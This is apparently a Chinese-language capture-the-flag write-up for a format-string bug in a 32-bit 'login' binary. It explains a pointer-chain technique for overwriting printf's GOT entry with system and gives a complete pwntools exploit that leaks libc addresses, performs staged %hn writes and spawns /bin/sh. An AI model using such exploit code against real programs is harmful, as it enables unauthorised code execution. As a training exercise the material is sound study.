checksec下,看下保护
如图,该函数存在漏洞,分析下函数逻辑,read函数将读取的0x32个字节放入s1中,strncmp函数将s1的前8个字节与“wllmmllw“比较,不同返回非0,执行printf函数,相同返回0,跳出循环。
gdb调试,发现printf的参数并不是储存在栈上,而是储存在bss段,所以我们不能直接在栈上写入内容,于是需要借助跳板来在栈上写入相应的值。
这里我们可以借助0xffffd0f8这个跳板,将0xffffd108指向的地址修改为0xffffd0fc,这样我们可以将0xffffd0fc指向的地址修改为我们想要的地址。为什么要修改0xffffd108指向的地址?是因为0xffffd0fc指向的地址高两个字节的地址为0x804,与system高两个字节的地址一致,便于修改,而且这个程序会一直处于while循环,没有leave,ret指令,所以也不用担心修改会破坏程序执行流。于是我们可以将printf函数的got表项的地址写到0xffffd0fc中。同理,我们可以将0xffffd108指向的地址修改为0xffffd10c,并将printf函数的got表项高两个字节地址写入0xffffd10c中。最后,同时修改printf函数的got表项地址指向的printf函数的地址改为system函数的地址,然后在下一次循环中填入/bin/sh,完成调用。printf函数的got表项地址一定要同时修改,否则printf函数的got表项地址指向的是无效的地址,导致程序的崩溃。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import *
p=process('./login') elf=ELF('./login') libc=ELF('/lib/i386-linux-gnu/libc.so.6') p.recv() p.sendline(b'mikokuma') p.recv() p.sendline(b'%43$p.%6$p.') p.recvuntil(b'password: 0x') true_addr=int(p.recvuntil(b'.',drop=True),16)-147 print(hex(true_addr))
stack_addr=int(p.recvuntil(b'.',drop=True),16) print(hex(stack_addr)) p.recv() offset=libc.symbols['__libc_start_main'] base=true_addr-offset print(hex(base)) sys_offset=libc.symbols['system'] sys_addr=base+sys_offset print(hex(sys_addr)) payload1=b'%'+str((stack_addr&0xffff)-0xc).encode('utf-8')+b'c%6$hn'
p.sendline(payload1) p.recvuntil(b'Try again!\n') printf_got=elf.got['printf'] print(hex(printf_got)) payload2=b'%'+str(printf_got&0xffff).encode('utf-8')+b'c%10$hn'
p.sendline(payload2) p.recvuntil(b'Try again!\n') payload3=b'%'+str((stack_addr&0xffff)+0x4).encode('utf-8')+b'c%6$hn'
p.sendline(payload3) p.recvuntil(b'Try again!\n') payload4=b'%'+str((printf_got+2)&0xffff).encode('utf-8')+b'c%10$hn' p.sendline(payload4) p.recvuntil(b'Try again!\n') payload5=b'%'+str(sys_addr&0xffff).encode('utf-8')+b'c%7$hn'+b'%'+str(((sys_addr>>16)&0xffff)-(sys_addr&0xffff)).encode('utf-8')+b'c%11$hn' p.sendline(payload5) p.recvuntil(b'Try again!\n')
p.sendline(b'/bin/sh\x00')
p.interactive()
|